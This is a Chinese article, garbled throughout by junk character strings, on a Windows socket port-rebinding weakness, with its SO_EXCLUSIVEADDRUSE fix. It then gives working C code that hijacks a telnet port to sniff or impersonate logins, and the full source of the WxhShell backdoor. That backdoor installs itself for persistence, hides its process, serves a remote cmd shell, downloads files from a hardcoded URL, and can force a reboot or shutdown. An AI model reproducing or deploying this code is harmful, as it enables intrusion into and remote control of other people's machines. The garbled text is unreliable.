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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: zR:L!S s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S9y} 0v?"tOT! saddr.sin_family = AF_INET; :P~6~
Kum +~$ ]}% saddr.sin_addr.s_addr = htonl(INADDR_ANY); QZ Ee! 4xg bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *i%.;Z" i[3'ec3 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 A?P_DA AQvudx)@" 这意味着什么?意味着可以进行如下的攻击: Bnxm HGP#& KkbD W3- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R&k<AZ [RhO$c$[\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ?+@?Up0wGO {4Cmu;u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qo bc<- ,#9PxwrO 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 zRr*7G VY4yS*y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `Ggbi4), 3F2w-+L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 YN F k iqWQ!r^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +[mk<pQ "+G8d'%YV #include W^l-Y%a/o #include G_,jgg7 #include )Ql%r?(F+ #include /*mI<[xb DWORD WINAPI ClientThread(LPVOID lpParam); /82b S| int main() zQd
2 { 1mG-} WORD wVersionRequested; u^ ~W+ DWORD ret; UP,c | WSADATA wsaData; r;N|) BOOL val; eng'X-x SOCKADDR_IN saddr; `b$.%S8uj= SOCKADDR_IN scaddr; xwo<' xT int err; pW3^X=6 SOCKET s; q(84+{>B SOCKET sc; ]}Yl7/gM1} int caddsize; oCz/HQoBk HANDLE mt;
.?$gpM?i DWORD tid; Q*Pq{]0K wVersionRequested = MAKEWORD( 2, 2 ); /%^#8<=|U err = WSAStartup( wVersionRequested, &wsaData ); <Q3c[ Y if ( err != 0 ) { >4CbwwMA printf("error!WSAStartup failed!\n"); PEZ!n.'S return -1; A*BeR0( } sfl<qD+? saddr.sin_family = AF_INET; F:S}w IH+|}z4N?> //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0o&5]lEe Qo|\-y-# saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); m)v&v6 saddr.sin_port = htons(23); yJIscwF if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {+>-7
9b { Ig{0Z"> printf("error!socket failed!\n"); dSHDWu& return -1; o ^uA">GH } dk^~;m#iN val = TRUE; ]7A'7p$Y //SO_REUSEADDR选项就是可以实现端口重绑定的 _|`S3}q|d if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) A@#E@;lm { d&>^&>?$zh printf("error!setsockopt failed!\n"); 4CTi]E=H{ return -1; zfdl45 } C;yZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CAf6:^0 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J<lW<:!3] //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (/$^uWj )t%b838l% if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~"A0Rs= { nO-#Q=H, ret=GetLastError(); 0> \sQ,T printf("error!bind failed!\n"); Q,Eo mt return -1; uQzXfOq } (cO:`W6. listen(s,2); N2o7%gJw while(1) @O~pV`_tD { yf,z$CR caddsize = sizeof(scaddr); ~}Pfu //接受连接请求 FP>2C9:d sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N$tGQ@
if(sc!=INVALID_SOCKET) ;9#KeA _ { !<F3d`a mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w32y3~ if(mt==NULL) E?@m?@*/ { TcoB,Kdce printf("Thread Creat Failed!\n"); \{D"
!e break; iURe( [@ } 5lum $5 } @(lh%@hO CloseHandle(mt); }-`4DHgq } (h
`V+ closesocket(s); 1 -b_~DF WSACleanup(); ~>XxGjxe return 0; ptaKf4P^r } 3(UVg!t DWORD WINAPI ClientThread(LPVOID lpParam) '<uq3?5 { p
K$`$H SOCKET ss = (SOCKET)lpParam; ]_$[8#kg SOCKET sc; .S4u- unsigned char buf[4096]; e#q}F>/L SOCKADDR_IN saddr; *K;~!P long num; IVmo5,&5( DWORD val; Ea=P2:3* DWORD ret; d d;T-wa} //如果是隐藏端口应用的话,可以在此处加一些判断 5LMw?P.< //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 Q59W#e) saddr.sin_family = AF_INET; 6H|S;K+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Mb=" Te>| saddr.sin_port = htons(23); #A.@i+Zv if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) M3Kfd { paMa+jhQQ printf("error!socket failed!\n"); DV{=n C return -1; )`}:8y? } $od7;% val = 100; !!y a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3uMy]HUQ { Y\tui+?J ret = GetLastError(); K|@G t%Y return -1; L0]_X#s># } C7?/%7{ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) @ .KGfNu { O
H7FkR ret = GetLastError(); ctV,Q3'Z return -1; I2DpRMy } (iGTACoF if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3M= { 4.(4x& printf("error!socket connect failed!\n"); hzC>~Ub5 closesocket(sc); Rva$IX^] closesocket(ss); SY8C4vb'h return -1; @|)Z"m7 } rQ9'bCSr% while(1) )CyS#j#= { ze;KhUPRm //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !%>7Dw(kt //如果是嗅探内容的话,可以再此处进行内容分析和记录 h1(4Ic //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,2)6s\]/b num = recv(ss,buf,4096,0); RGX=) if(num>0) \C1nZk?3 send(sc,buf,num,0); D3A/l else if(num==0) u2[w# break; xwty<?dRW1 num = recv(sc,buf,4096,0); 39jG8zr=Z[ if(num>0) %%wNZ{ send(ss,buf,num,0); G#1GXFDO{ else if(num==0) ]:\dPw`A break; uwBiW } 0|b>I!_"g closesocket(ss); -!9G0h&i| closesocket(sc); o?
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return 0 ; -`t^7pr } MJrR[h] I2^8pTLh &t-kpA|EG ========================================================== {}Za_(Y,] IqGdfL6[( 下边附上一个代码,,WXhSHELL 4'Zp-k?5` zv"Z DRW ========================================================== DFTyMB1H k;L6R!V #include "stdafx.h" -PQv ?5 :/Qq@]O> #include <stdio.h> @ry_nKr9 #include <string.h> _/K_[w 1 #include <windows.h> /FJu)H..U #include <winsock2.h> 6MkP |vr6 #include <winsvc.h> k@:%:Sj 2 #include <urlmon.h> !0cD$^7 0K2`-mL #pragma comment (lib, "Ws2_32.lib") &`XVq"7 #pragma comment (lib, "urlmon.lib") o0vUj # Vha7 #define MAX_USER 100 // 最大客户端连接数 W{gb:^;zb #define BUF_SOCK 200 // sock buffer :4%k9BGAj" #define KEY_BUFF 255 // 输入 buffer 0_t`%l= 9*?oYm;dX #define REBOOT 0 // 重启 Y.r+wc] #define SHUTDOWN 1 // 关机 xK\d4" iW /}# #define DEF_PORT 5000 // 监听端口 (=@h23
vH tC9n
k5~ #define REG_LEN 16 // 注册表键长度 & 9 ?\b7 #define SVC_LEN 80 // NT服务名长度 3;s\OW` t1y4 7fX6 // 从dll定义API 46&/gehr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v oj^pzZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <yFu*(Q typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 'CkIz"Wd typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); P(z++A& ~O&:C{9= // wxhshell配置信息 %Q dn struct WSCFG { e&aWq@D int ws_port; // 监听端口 R[x_j char ws_passstr[REG_LEN]; // 口令 3x'|]Ns int ws_autoins; // 安装标记, 1=yes 0=no BKjS ,2C char ws_regname[REG_LEN]; // 注册表键名 _t #k,; char ws_svcname[REG_LEN]; // 服务名 lv+TD!b char ws_svcdisp[SVC_LEN]; // 服务显示名 wT8DSq char ws_svcdesc[SVC_LEN]; // 服务描述信息 8C9-_Ng` char ws_passmsg[SVC_LEN]; // 密码输入提示信息 VZmLS 4E int ws_downexe; // 下载执行标记, 1=yes 0=no zuy4G9P char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" l&Q`wR5e char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -0x
# Y^EcQzLw }; wyO4Y XLOh7(
// default Wxhshell configuration 'Xq|Kf ( struct WSCFG wscfg={DEF_PORT, X))/ m[_[ "xuhuanlingzhe", 8i#2d1O 1, x Bi' X "Wxhshell", ]*[ 2$ "Wxhshell", 0*D$R`$ "WxhShell Service", .Od!0(0 "Wrsky Windows CmdShell Service", Doyx[zZ "Please Input Your Password: ", "N bq#w\ 1, A1>OY^p3% " http://www.wrsky.com/wxhshell.exe", GqaCj^2f "Wxhshell.exe" }.m< }; G[I"8iS, 1 +{{EOZ4 // 消息定义模块 ;dZZ;#k% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Una+Z char *msg_ws_prompt="\n\r? for help\n\r#>"; X296tA>C` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; ryUQU^v char *msg_ws_ext="\n\rExit."; EF}\brD1 char *msg_ws_end="\n\rQuit."; '3DXPR^B6 char *msg_ws_boot="\n\rReboot..."; 'RYIW/a char *msg_ws_poff="\n\rShutdown..."; jrr*!^4| char *msg_ws_down="\n\rSave to "; /,&<6c-Q@W !_D0vI; char *msg_ws_err="\n\rErr!"; VfC <WVYiZ char *msg_ws_ok="\n\rOK!"; Z<y I\1 ]]9R mh= char ExeFile[MAX_PATH]; <~'"<HwtK int nUser = 0; s;Z\Io HANDLE handles[MAX_USER]; zFws:_ i int OsIsNt; cyv`B3} {19PL8B~} SERVICE_STATUS serviceStatus; ju8q?Nyhs SERVICE_STATUS_HANDLE hServiceStatusHandle; ujq=F BBRR) // 函数声明 )E@.!Ut4o int Install(void); g:D>.lKd int Uninstall(void); dIa+K?INX int DownloadFile(char *sURL, SOCKET wsh); L Mbn int Boot(int flag); q#ClnG* void HideProc(void); D] jzAx int GetOsVer(void); FR4QUk int Wxhshell(SOCKET wsl); #TX/aKr: void TalkWithClient(void *cs); `maKN \; int CmdShell(SOCKET sock); i6tf2oqO7 int StartFromService(void); w/S%YW3* int StartWxhshell(LPSTR lpCmdLine); .4M.y:F i,E{f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O-~7b(Z VOID WINAPI NTServiceHandler( DWORD fdwControl ); [.'|_l QP^Cx= // 数据结构和表定义
bv9i*] SERVICE_TABLE_ENTRY DispatchTable[] = otl0JHt*+ { # 448-8x {wscfg.ws_svcname, NTServiceMain}, B^Nf #XN( {NULL, NULL} '()xHEGl3 }; N^ds
RYC F2dHH^ // 自我安装 ^ft>@=K(| int Install(void) U;V7 u/{ { )}]g]
g char svExeFile[MAX_PATH]; DiScFx|rE HKEY key; 3yY}04[9< strcpy(svExeFile,ExeFile); Lh"<XYY <fjX[l<Uz // 如果是win9x系统,修改注册表设为自启动 HU}7zK2 if(!OsIsNt) { m
)zUU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #*uL)2nR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FLCexlv^ RegCloseKey(key); Zq|I,l0+E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [vK^Um RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P[#e/qnXu| RegCloseKey(key); &)Tdc return 0; %~JJ. & } M~#g RAUJ } Gg3,:A_ w } $s c else { N/'b$m5=
S gQelD6c // 如果是NT以上系统,安装为系统服务 i2A81>68< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kr5">"7 if (schSCManager!=0) vnt%XU,,Y { o&zJ=k[4 SC_HANDLE schService = CreateService C12Fl ( Oo8VeRZ schSCManager, [nG<[<0G; wscfg.ws_svcname, 2K6qY)/_ wscfg.ws_svcdisp, `?qF$g9u~ SERVICE_ALL_ACCESS, 4qbBc1,7y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |`,2ri*5A SERVICE_AUTO_START, V)-+Fd,= SERVICE_ERROR_NORMAL, >`mVY=Hi svExeFile, F>6|3bOR NULL, Y>T-af49 NULL, wY%} NULL, 82qoGSD. NULL, x8\?}UnB NULL !r8`Yr n ); oUr66a/[U if (schService!=0) v2\FA(BPn { 3`|@H-c9 CloseServiceHandle(schService); xY8$I6 CloseServiceHandle(schSCManager); z}9(x.I strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c?*=|}N strcat(svExeFile,wscfg.ws_svcname); 7\[@m3s if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o]_dJB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EIAc@$4 RegCloseKey(key); ]t,BMu=% return 0; HTS0s\R$ } P [ck84F/ } hJ? O],4J CloseServiceHandle(schSCManager); ~.nmI&3 } J#(LlCs?@c } 6=/F$| )}(^,
Fo c return 1; )
7@ `ut } >J?fl8 1D7`YKI9h // 自我卸载 fu ,}1Mq# int Uninstall(void) FUb\e-Q= { D%Sl AzZ3 HKEY key; 0<@KG8@hI; 'ya{9EdlT if(!OsIsNt) { @%uUiP0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (OL4Ex' ] RegDeleteValue(key,wscfg.ws_regname); Bahm]2 RegCloseKey(key); lU\[aNs if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KC6.Fr{ RegDeleteValue(key,wscfg.ws_regname); iC~^)-~H=w RegCloseKey(key); w3_>VIZJl return 0;
A,<E\ } i$#;Kpb`^ } [yQt^!; } KYI/ else { ]p GL`ge5 ~jk|4`I?T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -3*]G^y2 if (schSCManager!=0) o#Dk&
cH { "Gzz4D SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZvX*t)VjTz if (schService!=0) tSUEZ62EY { ;`{H!w[D if(DeleteService(schService)!=0) { 1n8/r}q'H CloseServiceHandle(schService); .!3|&V'< CloseServiceHandle(schSCManager); ?e4YGOe. return 0; {\1?ZrCI& } k]|~>9eY] CloseServiceHandle(schService); yx[/|nZDC4 } /Cr%{'Pzk CloseServiceHandle(schSCManager); L`TLgH&?R } )dw'BNz5hT } Of#u qYQl,w return 1; t!l&iVWs } `/+>a8 u
c)eil // 从指定url下载文件 Gb6 'n$g int DownloadFile(char *sURL, SOCKET wsh) O=t_yy { i&fuSk EP HRESULT hr; t{9GVLZ char seps[]= "/"; $%d*@'c char *token; *?vCC+c char *file; ^{`exCwMx char myURL[MAX_PATH]; 9$w.9`Py char myFILE[MAX_PATH]; C{rcs' M|h3Wt~7 strcpy(myURL,sURL); $h"\N$iSq
token=strtok(myURL,seps); Wn2NMXK while(token!=NULL) 9TC,!0U{_. { uGG t\.$]s file=token; .`eN8Dl1 token=strtok(NULL,seps); Rhs/3O8k } + &Eqk f8dB-FlMm GetCurrentDirectory(MAX_PATH,myFILE); wwZ ,;\ strcat(myFILE, "\\"); C,r;VyW6BI strcat(myFILE, file); Ld~/u]K%V send(wsh,myFILE,strlen(myFILE),0); d7upz]K9g send(wsh,"...",3,0); TD0
B% hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q)h(nbbVak if(hr==S_OK) #;yZ return 0; !F$6-0% else _`T_">9r return 1; ZY+qA *g2x%aZWbG } I\ob7X'Xu! R-$!9mnr // 系统电源模块 L="}ErmK int Boot(int flag) #\OA )`U { DvvK^+-~ HANDLE hToken; /U9"wvg TOKEN_PRIVILEGES tkp; 3s#N2X;Bc F JyT+ if(OsIsNt) { } q8ASYNc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g($2Dk_F2 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O\r0bUPE tkp.PrivilegeCount = 1; iYy1!\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }|=|s f AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R\[e!g*I if(flag==REBOOT) { /\n-P'} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) b>ySv return 0; Avb\{)s+ } KZf+MSq?
B else { bk[!8-b/a if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ym1Y4, return 0; dy[X3jQB } 7%M_'P4 V } OneY_<*a< else { FYQS)s if(flag==REBOOT) { WpvhTX if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]Y&VT7+Z return 0; abVmkdP_s } R:qW;n%AF else { sW\!hW1*x if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CrTw@AW9) return 0; pQB."[n } ");a3hD } JxU5 fe )^hbsMhO return 1; hhvyf^o } @H8EWTZ @=u3ZVD // win9x进程隐藏模块 W(p_.p"
void HideProc(void) Y'X%Aw;` { ]Hv[ IodJ BiBOr}ZQ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YS_;OFsd if ( hKernel != NULL ) 1$ {SRU7l { *LY8D<:zs pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oXgcc*j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )V9bI( v FreeLibrary(hKernel); \~ wMfP8 } BY*8ri^u >yDZw!C return; Ax}JLPz5' } V=3b&TkE q@2siI~W // 获取操作系统版本 yB6?`3A: int GetOsVer(void) Dvln/SBk { c:.eGH_f OSVERSIONINFO winfo; OZ;*JR: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 93hxSRw GetVersionEx(&winfo); 2:ylv<\$ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Fl^`*n return 1; P!k{u^$L else FVBYo%Ap return 0; >(RkZ}z } R G`1en FN73+-:n:j // 客户端句柄模块 @KAI4LP int Wxhshell(SOCKET wsl) Z?z.?ar { vvOV2n.WD SOCKET wsh; e>7i_4(C struct sockaddr_in client; Y <qm{e DWORD myID; k VQ\1! :~^(g$Z while(nUser<MAX_USER) [ikOb8 G# { +nGAz{&@r% int nSize=sizeof(client); GPkpXVm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a.6(K if(wsh==INVALID_SOCKET) return 1; Lj;2\] 4X|zmr:A handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); igAtRX%Qx if(handles[nUser]==0) W@!S%Y9 closesocket(wsh); OZ!^ak else 7VI*N)OZ8 nUser++; {]|J5Dgfe } POR\e|hRT] WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); TuqH*{NNy9 0qT%!ku& return 0; &jr3B;g!C } E1 f\%!2l ~y[7K{{ ;T // 关闭 socket =mmWl9'mJ void CloseIt(SOCKET wsh) S 6,.FYH { C{wEzM: closesocket(wsh); pY$Q nUser--; OK
gqT! ExitThread(0); xAP+FWyV } 5rUdv}. *_g$MI // 客户端请求句柄 6\S~P/PkE void TalkWithClient(void *cs) sUm' { s&J]zb` FU<Jp3<% SOCKET wsh=(SOCKET)cs; /|&*QLy char pwd[SVC_LEN]; 5nVt[Puw char cmd[KEY_BUFF]; Ld-_,-n char chr[1]; *k>n<p3dd int i,j; 8sK9G`
k ;IM}|2zuN while (nUser < MAX_USER) { EAby?51+ cPc</[x[W if(wscfg.ws_passstr) { B48={ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e64 ^ChCoV //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ##4HYQ%E //ZeroMemory(pwd,KEY_BUFF); $7A8/# i=0; *G9V'9 while(i<SVC_LEN) { S`m]f5u| !_Z&a // 设置超时 W'u># fd_set FdRead; 01(AK% e struct timeval TimeOut; '>C5-R:O FD_ZERO(&FdRead); &XUiKnNW FD_SET(wsh,&FdRead); R
.2wqkY TimeOut.tv_sec=8; 8|58 H TimeOut.tv_usec=0; ^D-/`d int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 57'4ljvYi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =rX>1 @49S` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VBcPu pwd =chr[0]; `,*5wBC if(chr[0]==0xd || chr[0]==0xa) { 8BNi1Qn$ pwd=0; 2Q:+_v break; c_!cv":s } >t_6B~x9 i++; D*|Bb? } G?Hdq; t}/( b/VD // 如果是非法用户,关闭 socket $\y'IQ% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SGlNKA},A } `%WU8Yv BsYa3d=} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <dhM\^[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); As<bL:>dE 4d;8`66O while(1) { "AGLVp.zT ZO c) ZeroMemory(cmd,KEY_BUFF); I`4*+a'q& -_eLf#3 // 自动支持客户端 telnet标准 TT3|/zwn j=0; p0<\G while(j<KEY_BUFF) { {%6`!WW[ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x5 *!Wx
cmd[j]=chr[0]; KRDmY+ if(chr[0]==0xa || chr[0]==0xd) { ,{?%m6.lE cmd[j]=0; GYUn6P break; )U{Qj5W+F } s#=7IH30 j++; J!U}iD@occ } )~ h} nt7.?$ // 下载文件 (mt k 4 if(strstr(cmd,"http://")) { H\tUpan6fy send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9o:Lz5o if(DownloadFile(cmd,wsh)) w%BL send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z^MNf else pgZXJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ><HE;cVg? } B%+T2=&$7 else { LW_f
yhA6i switch(cmd[0]) { qVwIo.g! ]G< Vg5 // 帮助 ..'_o~Ka case '?': { Q9G;V]./ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [!]2djc break; Y,t={HiclX } F,)%?<!I // 安装 :^3LvPM case 'i': { uw+M if(Install()) T\>a! send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 \6D '/G else `W/>XZl+t send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @eIJ]p break; g:Xhw$x9 } +@k+2?]
FO // 卸载 56-dD5{hxR case 'r': { !s?nJ(p if(Uninstall()) !Bq3Z?xA} send(wsh,msg_ws_err,strlen(msg_ws_err),0); \WB<86+z else vbe|hO"" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oij}'|/Jc break; $Kncvu } .I0qG g // 显示 wxhshell 所在路径 ZO$m["| case 'p': { l &5QZI0I char svExeFile[MAX_PATH]; ^qQZT] strcpy(svExeFile,"\n\r"); fbKkq.w strcat(svExeFile,ExeFile); !SdSE^lz` send(wsh,svExeFile,strlen(svExeFile),0); dD|OSB7I7 break; =wOm}V8N& } [dIXR // 重启 3L}!RB case 'b': { =sJ7=39 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); T1Z;r*} if(Boot(REBOOT)) 22M1j5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8sM|%<$=j else { n+q!l&& closesocket(wsh); JJ2_hVU ExitThread(0); r@t9Ci=} } 1A G<$d5U| break; pRIhFf } WR yaKM // 关机 N&g3t%F case 'd': { qr4pR-Gdr send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); p,>5\Zre~ if(Boot(SHUTDOWN)) %9N7Ln|% send(wsh,msg_ws_err,strlen(msg_ws_err),0); c[4i9I3v else { 2Mvrey) closesocket(wsh); kJzoFFWo$ ExitThread(0); 4NzwE( } _'>oXQJ break; ;HJLs2bP } ,3p~w5C/+[ // 获取shell 9-
YwkK#z case 's': { >qjq=Ege CmdShell(wsh); Z/0fXn}) closesocket(wsh); wKYZa# u ExitThread(0); (ehK?6[ break; w2Jf^pR } ^*8G8'k;$ // 退出 uRRQyZ case 'x': { dWUm\t'# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &U
raUl CloseIt(wsh); !GLz)#SBl break; E.ly#2? } 57zSu3v4Y // 离开 G!W[8UG case 'q': {
;"fDUY| send(wsh,msg_ws_end,strlen(msg_ws_end),0); PMh^(j[ closesocket(wsh); ?NR A:t(} WSACleanup(); ;WM"cJo9 exit(1); &7b|4a8B% break; !\i\}feb } ^ZhG>L* } zb}9%.U } TRQF^P3o M?:c)&$]D // 提示信息 YN2sdG if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8lb%eb]U } ~Ro9up } F\AX: V7[zAq return; `m?c;,\ } /VzI'^ gb> }v7 // shell模块句柄 T[uiPs/xD int CmdShell(SOCKET sock) mc_ch$r! { U{z9> STARTUPINFO si; kc @[9eV ZeroMemory(&si,sizeof(si)); n;U`m$vL% si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J6%AH?Mt si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 079'(% PROCESS_INFORMATION ProcessInfo; ;SaX;!`39+ char cmdline[]="cmd"; Bj}^\Pc;} CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J-)
XQDD return 0; $Y_i4( } eDJfU DrBUe'RH:M // 自身启动模式 0iK;Egwm int StartFromService(void) D3^7y.u<) { <Ib[82PU typedef struct 4RV%Z!kcD! { f=!VsR2o DWORD ExitStatus; t|!j2<e DWORD PebBaseAddress; E V^~eTz DWORD AffinityMask; 4e;yG> DWORD BasePriority; |t)}VM% ULONG UniqueProcessId; R8UYP=Kp ULONG InheritedFromUniqueProcessId; H_Kj7(=&> } PROCESS_BASIC_INFORMATION; d,tU#N{Q6 V$icWu PROCNTQSIP NtQueryInformationProcess; ~$ f;U N,
*m , static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; U_$qi static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RUUk
